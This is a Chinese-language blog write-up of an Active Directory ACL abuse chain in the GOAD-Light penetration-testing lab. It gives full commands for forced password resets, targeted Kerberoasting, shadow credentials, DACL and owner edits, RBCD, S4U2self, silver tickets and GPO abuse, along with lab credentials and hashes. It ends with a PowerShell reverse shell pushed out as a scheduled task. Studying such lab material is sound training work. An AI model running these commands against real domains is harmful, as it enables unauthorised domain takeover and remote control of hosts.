GOAD-Light-Part10-ACL

GOAD-Light_schema

ACL ACE

在Active Directory 中,每个物件(使用者、群组、电脑、OU 等)都有一个安全描述符(Security Descriptor),其中包含:

1
2
3
4
5
6
7
8
9
10
安全描述符(Security Descriptor)
├── 所有者(Owner)
├── 主要组(Primary Group
├── DACL(自主访问控制列表)
│ └── 多个 ACE(访问控制项)
│ ├── 受托人(Trustee:用户/组)
│ ├── 访问掩码(Access Mask:读、写、删除...
│ └── ACE 类型(允许 或 拒绝)
└── SACL(系统访问控制列表)
└── 用于审计日志

ACL(访问控制列表)

  • 就像一张 “权限表”
  • 它列出了 这个对象做什么
  • 每个对象都有自己的 ACL。

ACE(访问控制项)

  • 就是表中的 “一条记录”
  • 每条记录明确指定了一个 用户或组 对这个对象拥有 什么权限(允许或拒绝)。

常见ACE模型

权限 可执行的攻击
GenericAll 完全控制:修改密码、Shadow Credentials、WriteDacl
GenericWrite Shadow Credentials、Target Kerberoasting、修改属性
WriteProperty 修改特定属性(如 msDS-KeyCredentialLink)
WriteDacl 修改 ACL,给自己授予 GenericAll
WriteOwner 成为拥有者,然后修改 ACL
ForceChangePassword 直接重置用户密码

群组相关权限

权限 可执行的攻击
AddMember 将任意用户加入群組
AddSelf 将自己加入群組

其他相关权限

权限 说明 利用方式
ReadLAPSPassword 读取 LAPS 密码 取得本地管理员密码
ReadGMSAPassword 读取 gMSA 密码 取得服务账户密码
WriteAccountRestrictions 修改账号限制 修改 UAC、SPN 等

BloodHound查找ACL

1
MATCH p=(u)-[r1]->(n) WHERE r1.isacl=true and not tolower(u.name) contains 'vagrant' and u.admincount=false and not tolower(u.name) contains 'key' RETURN p

AdminSDHolder 保护机制

AdminSDHolder 是一个特殊的容器对象,位于:

1
CN=AdminSDHolder,CN=System,DC=domain,DC=local

作用

  1. 每隔 60 分钟,Active Directory 目录服务(ntds.exe)内的 SDProp(安全描述符传播器)后台线程会触发一次检查与更新。
  2. 它会将 AdminSDHolder 对象的安全描述符(ACL) 复制并应用到所有受保护组及其成员对象(如 Domain Admins、Enterprise Admins 等)。
  3. 在应用过程中,任何手动修改过的 ACL 都会被覆盖,以确保一致性与安全性。

受保护的组

组名 RID 说明
Account Operators 548 可创建/修改用户账号
Administrator 500 内置管理员账号
Administrators 544 本地管理员组
Backup Operators 551 备份权限
Domain Admins 512 域管理员
Domain Controllers 516 域控制器
Enterprise Admins 519 企业管理员
Krbtgt 502 Kerberos 票据账号
Print Operators 550 打印管理
Read-only Domain Controllers 521 RODC
Replicator 552 复制权限
Schema Admins 518 Schema 管理员
Server Operators 549 服务器管理

对攻击者的影响:

1
2
3
4
5
6
7
攻击者在 Domain Admins 成员上设置后门 ACL

60 分钟后

SDProp 执行,覆盖所有 ACL

后门失效

ACL攻击链

从tywin.lannister:powerkingftw135开始

1
2
3
4
5
6
7
8
Tywin -> Jaime : Change password user
Jaime -> Joffrey : Generic Write user
Joffrey -> Tyron : WriteDacl on user
Tyron -> small council : add member on group
Small council -> dragon stone : write owner group to group
dragonstone -> kingsguard : write owner to group
kingsguard -> stannis : Generic all on User
stannis -> kingslanding : Generic all on Computer

image-20260131195142799

ForceChangePassword

Tywin -> Jaime

image-20260131200748076

1
2
3
4
5
6
7
8
9
net rpc password jaime.lannister -U sevenkingdoms.local/tywin.lannister%powerkingftw135 -S kingslanding.sevenkingdoms.local

net rpc password: 通过 RPC 协议更改一个用户的密码。
jaime.lannister: 这是要修改密码的目标用户名。
-U sevenkingdoms.local/tywin.lannister%powerkingftw135: 这是用于执行此操作的凭据。
-U 表示用户。
sevenkingdoms.local/tywin.lannister 是执行操作的用户全名(域名/用户名)。
%powerkingftw135 是 tywin.lannister 用户的密码(% 后面紧跟密码)。
-S kingslanding.sevenkingdoms.local: 这是指定要操作的目标服务器。

修改密码为pasdebraspasdechocolat

通过cme验证

1
crackmapexec smb 192.168.56.10 -u jaime.lannister -d sevenkingdoms.local -p pasdebraspasdechocolat

image-20260131200719529

得到凭证jaime.lannister:pasdebraspasdechocolat

GenericWrite

Jaime -> Joffrey

image-20260131200758711

由于我们刚刚设置了 Jaime 的密码,现在我们将利用 Jaime 向 Joffrey 发送的 GenericWrite 请求。

这可能构成三种不同技术的滥用:

  • shadow Credentials(Windows Server 2016 或更高版本)
    • 条件:目标 Joffrey 账户所在的操作系统必须是 Windows Server 2016 或更高版本。
    • 逻辑:GenericWrite 权限允许攻击者为 Joffrey 账户的 msDS-KeyCredentialLink 属性写入一个新的密钥凭证。这相当于给 Joffrey 账户“贴”上一个攻击者掌握的、可用于 Kerberos 认证的“影子证书”。攻击者随后可以使用此证书申请一个代表 Joffrey 身份的 Kerberos 票据,从而获得其访问权限。
  • Kerberoasting(密码强度应足以被破解)
    • 条件:Joffrey 账户是一个服务账户(关联了 SPN),并且其密码强度较弱,能够被成功破解。
    • 逻辑:GenericWrite 权限可以被滥用来修改 Joffrey 账户的 servicePrincipalName 属性。攻击者可以为其添加一个易受攻击或特意构造的 SPN。随后,攻击者可以请求该 SPN 的服务票据,而 Kerberos 协议会用 Joffrey 账户的密码哈希来加密这张票据。攻击者获取这张加密的票据后,可以离线尝试破解它,从而得到 Joffrey 账户的明文密码。
  • 登录脚本
    • 条件:这通常需要一个用户(Joffrey)后续进行登录并触发脚本执行。
    • 利用 GenericWrite 权限修改 Joffrey 账户的 scriptPath 属性,指向一个由攻击者控制的恶意脚本路径。当 Joffrey 用户下次登录时,系统会尝试执行该路径的脚本。但由于脚本路径通常需要位于域控的 SYSVOL 等可信共享中,而攻击者往往无法直接写入,所以成功率低。除非攻击者通过其他途径已将脚本放入 SYSVOL

Shadow Credentials

1
certipy shadow auto -u jaime.lannister@sevenkingdoms.local -p 'pasdebraspasdechocolat' -account 'joffrey.baratheon'

Kerberoasting

临时给一个普通用户账户(Joffrey)添加一个SPN,使其伪装成服务账户,以获取其Kerberos服务票据进行破解,之后再删除SPN以消除痕迹

工具

https://github.com/ShutdownRepo/targetedKerberoast

1
targetedKerberoast.py -v -d sevenkingdoms.local -u jaime.lannister -p pasdebraspasdechocolat --request-user joffrey.baratheon

image-20260131202040314

1
john --wordlist=/usr/share/wordlists/rockyou.txt joffrey.hash

得到凭证joffrey.baratheon:1killerlion

登录脚本

不好实现,不搞了

WriteDacl

Joffrey -> Tyron

image-20260131203254541

要利用 Joffrey 对 Tyron 的 writeDacl 漏洞,我们可以使用 acledit.py

修改ACL

首先我们来看tyron.lannister的DACL:

1
2
3
4
5
6
python ../tools/impacket/examples/dacledit.py -action 'read' -principal joffrey.baratheon -target 'tyron.lannister' 'sevenkingdoms.local'/'joffrey.baratheon':'1killerlion'

-action 'read':指定操作为“读取”ACL
-principal joffrey.baratheon:筛选显示与指定主体相关的 ACE
-target 'tyron.lannister':目标对象是用户账户 tyron.lannister。
'sevenkingdoms.local'/'joffrey.baratheon':'1killerlion':使用的凭据(域/用户名:密码)。
1
2
3
4
5
6
7
8
[*] Parsing DACL                                                          
[*] Printing parsed DACL
[*] Filtering results for SID (S-1-5-21-1310755497-773461623-2086370076-1117)
[*] ACE[19] info 这是 ACL 中的第 19 条 ACE。
[*] ACE Type : ACCESS_ALLOWED_ACE 这是一个“允许访问”类型的 ACE。
[*] ACE flags : None
[*] Access mask : WriteDACL (0x40000) 授予的权限是 WriteDACL(修改 DACL 的权限)
[*] Trustee (SID) : joffrey.baratheon (S-1-5-21-1310755497-773461623-2086370076-1117) 被授予此权限的主体是用户 joffrey.baratheon

现在将权限更改为FullControl,然后查看修改效果。

1
2
python ../tools/impacket/examples/dacledit.py -action 'write' -rights 'FullControl' -principal joffrey.baratheon  -target 'tyron.lannister' 'sevenkingdoms.local'/'joffrey.baratheon':
'1killerlion'

image-20260131204736583

现在可以:

  • kerberoasting
  • 修改密码
  • shadow credentials

kerberoasting

1
targetedKerberoast.py -v -d sevenkingdoms.local -u joffrey.baratheon -p 1killerlion --request-user tyron.lannister
1
john --wordlist=/usr/share/wordlists/rockyou.txt ../hash/tyron.hash

没爆破出来

shadow credentials

1
2
3
4
/home/kali/GOAD/tools/certipy-venv/bin/certipy shadow auto \
-u joffrey.baratheon@sevenkingdoms.local \
-p '1killerlion' \
-account tyron.lannister

image-20260131211318003

拿到hashb3b3717f7d51b37fb325f7e7d048e998

凭据

tyron.lannister:b3b3717f7d51b37fb325f7e7d048e998

Add self

Tyron -> Small Council

image-20260131211510726

DNDistinguished Name(识别名),它是 LDAP/Active Directory 中对象的全局唯一标识符

在ldap中通过DN定位对象

寻找DN

1
2
ldeep ldap -u tyron.lannister -H ':b3b3717f7d51b37fb325f7e7d048e998' -d sevenkingdoms.local -s ldap://192.168.56.10 search '(sAMAccountName=tyron.lannister)' distinguishedName
ldeep ldap -u tyron.lannister -H ':b3b3717f7d51b37fb325f7e7d048e998' -d sevenkingdoms.local -s ldap://192.168.56.10 search '(sAMAccountName=Small Council)' distinguishedName

image-20260131212225461

加入组

使用 add_to_group 功能。参数1是用户的DN(第1步结果),参数2是组的DN(第2步结果)。该命令修改组的 member 属性,将用户的DN添加到列表中。

1
ldeep ldap -u tyron.lannister -H ':b3b3717f7d51b37fb325f7e7d048e998' -d sevenkingdoms.local -s ldap://192.168.56.10 add_to_group "CN=tyron.lannister,OU=Westerlands,DC=sevenkingdoms,DC=local" "CN=Small Council,OU=Crownlands,DC=sevenkingdoms,DC=local"

image-20260131212234963

查询结果

使用 membersof 功能查询组 Small Council 的所有成员。如果操作成功,输出中应包含 tyron.lannister 或其DN。

1
ldeep ldap -u tyron.lannister -H ':b3b3717f7d51b37fb325f7e7d048e998' -d sevenkingdoms.local -s ldap://192.168.56.10 membersof 'Small Council'

image-20260131212332005

AddMember

Small Council -> dragonstone

image-20260131212437607

直接像刚才一样将tyron加入组

1
2
ldeep ldap -u tyron.lannister -H ':b3b3717f7d51b37fb325f7e7d048e998' -d sevenkingdoms.local -s ldap://192.168.56.10 add_to_group "CN=tyron.lannister,OU=Westerlands,DC=sevenkingdoms,D
C=local" "CN=DragonStone,OU=Crownlands,DC=sevenkingdoms,DC=local"

image-20260131212806010

WriteOwne

dragonstone -> kingsguard

image-20260201150908603

查看当前所有者

1
2
3
owneredit.py -action read -target 'kingsguard' -hashes ':b3b3717f7d51b37fb325f7e7d048e998' sevenkingdoms.local/tyron.lannister

验证 tyron.lannister 是否对 kingsguard 有 WriteOwner 权限(如果无权限则读取会失败)。同时确认当前所有者是谁。

image-20260201151115655

修改所有者

1
2
3
impacket-owneredit -action write -new-owner 'tyron.lannister' -target 'kingsguard' -hashes ':b3b3717f7d51b37fb325f7e7d048e998' sevenkingdoms.local/tyron.lannister

利用 WriteOwner 权限执行此修改。现在 tyron.lannister 成为该组的正式所有者。

image-20260201151433917

利用所有者权限添加完全控制权

1
impacket-dacledit -action write -rights FullControl -principal tyron.lannister -target 'kingsguard' -hashes ':b3b3717f7d51b37fb325f7e7d048e998' sevenkingdoms.local/tyron.lannister

将自己加入组

1
ldeep ldap -u tyron.lannister -H ':b3b3717f7d51b37fb325f7e7d048e998' -d sevenkingdoms.local -s ldap://192.168.56.10 add_to_group "CN=tyron.lannister,OU=Westerlands,DC=sevenkingdoms,DC=local" "CN=kingsguard,OU=Crownlands,DC=sevenkingdoms,DC=local"

image-20260201151818285

问题

为什么所有者权限不能直接加组成员?

  • 所有权”和“操作权”是分开的。

    • 所有权:是元权限(meta-right),控制“谁可以控制这个对象”。

    • 操作权:是直接权限,如 WriteMembers(修改成员)、GenericWrite 等,允许执行具体操作。

为什么要给自己完全控制权限?

  • 要先获得权限才能进行其他操作

为什么最终要加入这个组?

  • 因为攻击目标是获得该组的权限,而不是仅仅控制这个组对象。
  • 控制组 ≠ 拥有组权限
    • 控制组:可以添加/删除成员,但不能自动获得成员权限。
    • 成为成员:系统检查用户是否在组内,是则授予组的所有权限。

GenericAll

kingsguard -> stannis

image-20260201152723559

用 ldeep 修改 Stannis 的密码

1
net rpc password stannis.baratheon --pw-nt-hash -U sevenkingdoms.local/tyron.lannister%b3b3717f7d51b37fb325f7e7d048e998 -S kingslanding.sevenkingdoms.local

新凭据stannis.baratheon:Drag0nst0ne

GenericAll on Computer

Stannis -> kingslanding

image-20260201152939283

RBCD

创建机器账户

1
addcomputer.py -computer-name 'rbcd_2$' -computer-pass 'rbcdpass' -dc-host kingslanding.sevenkingdoms.local 'sevenkingdoms.local/stannis.baratheon:Drag0nst0ne'

设置RBCD

1
rbcd.py -delegate-from 'rbcd_2$' -delegate-to 'kingslanding$' -dc-ip 'kingslanding.sevenkingdoms.local' -action 'write' sevenkingdoms.local/stannis.baratheon:Drag0nst0ne

委派

1
2
3
4
getST.py -spn 'cifs/kingslanding.sevenkingdoms.local' -impersonate Administrator -dc-ip 'kingslanding.sevenkingdoms.local' 'sevenkingdoms.local/rbcd_2$:rbcdpass'

export KRB5CCNAME=Administrator@cifs_kingslanding.sevenkingdoms.local@SEVENKINGDOMS.LOCAL.ccache
wmiexec.py -k -no-pass @kingslanding.sevenkingdoms.local

shadow credentials

请求凭据

1
certipy shadow auto -u stannis.baratheon@sevenkingdoms.local -p 'Drag0nst0ne' -account 'kingslanding$'

image-20260201154429807

  • 现在我们有了 kingslanding$ 的 tgt 和 NT 哈希值
  • 我们可以执行 dcsync,因为 Kingslanding 是一个 DC,但我们也可以尝试直接获取 shell。
  • 最简单的方法是利用 s4u2self 漏洞或创建银票。

机器帐户到管理员 shell

s4u2 abuse

请求管理员票据

1
2
3
4
export KRB5CCNAME=kingslanding.ccache
getST.py -self -impersonate "Administrator" -altservice "cifs/kingslanding.sevenkingdoms.local" -k -no-pass -dc-ip 192.168.56.10 "sevenkingdoms.local"/'kingslanding$'

使用域控制器账户的票据,请求一个以 Administrator 身份访问 cifs 服务的票据(S4U2Self)。

使用票据连接

1
2
export KRB5CCNAME=Administrator@cifs_kingslanding.sevenkingdoms.local@SEVENKINGDOMS.LOCAL.ccache
wmiexec.py -k -no-pass sevenkingdoms.local/administrator@kingslanding.sevenkingdoms.local
银票攻击

获取域SID

1
2
3
4
impacket-lookupsid -hashes ':a769f7673b4e9d908188b112772b5b6b' 'sevenkingdoms.local'/'kingslanding$'@kingslanding.sevenkingdoms.local 0

使用域控制器账户的哈希,查询域的 SID。
S-1-5-21-1310755497-773461623-2086370076

创建银票

1
2
3
impacket-ticketer -nthash 'a769f7673b4e9d908188b112772b5b6b' -domain-sid 'S-1-5-21-1310755497-773461623-2086370076' -domain sevenkingdoms.local -spn cifs/kingslanding.sevenkingdoms.local Administrator

使用域控制器账户的哈希和域SID,伪造一张 Administrator 的 Kerberos 票据

使用银票

1
2
export KRB5CCNAME=Administrator.ccache
impacket-wmiexec -k -no-pass sevenkingdoms.local/administrator@kingslanding.sevenkingdoms.local

GPO滥用

北域存在 GPO 滥用行为

image-20260201160307793

工具

https://github.com/Hackndo/pyGPOAbuse

它将在远程计算机上以 SYSTEM 身份为计算机 GPO 创建一个立即执行的计划任务,或者以登录用户身份为用户 GPO 创建一个立即执行的计划任务。

添加本地管理员

1
2
3
4
5
6
python3 pygpoabuse.py north.sevenkingdoms.local/samwell.tarly:'Heartsbane' -gpo-id "0B6925C7-2DAF-41F4-A02C-F424795257F9"

使用 samwell.tarly 凭据
修改指定 GPO 的策略设置
添加一个计划任务,在目标计算机上以 SYSTEM 权限运行
任务内容:创建新的本地管理员账户

image-20260201164730216

过几分钟就能看到添加的本地管理员用户

image-20260201163637956

反弹shell

1
python3 pygpoabuse.py north.sevenkingdoms.local/samwell.tarly:'Heartsbane' -gpo-id "0B6925C7-2DAF-41F4-A02C-F424795257F9" -powershell -command "\$c = New-Object System.Net.Sockets.TCPClient('192.168.56.107',4444);\$s = \$c.GetStream();[byte[]]\$b = 0..65535|%{0};while((\$i = \$s.Read(\$b, 0, \$b.Length)) -ne 0){    \$d = (New-Object -TypeName System.Text.ASCIIEncoding).GetString(\$b,0, \$i);    \$sb = (iex \$d 2>&1 | Out-String );    \$sb = ([text.encoding]::ASCII).GetBytes(\$sb + 'ps> ');    \$s.Write(\$sb,0,\$sb.Length);    \$s.Flush()};\$c.Close()" -taskname "MyTask" -description "don't worry" -f

image-20260201164110774


GOAD-Light-Part10-ACL
http://xiaowu5.cn/2026/02/01/GOAD-Light-Part10-ACL/
作者
5
发布于
2026年2月1日
许可协议
BY XIAOWU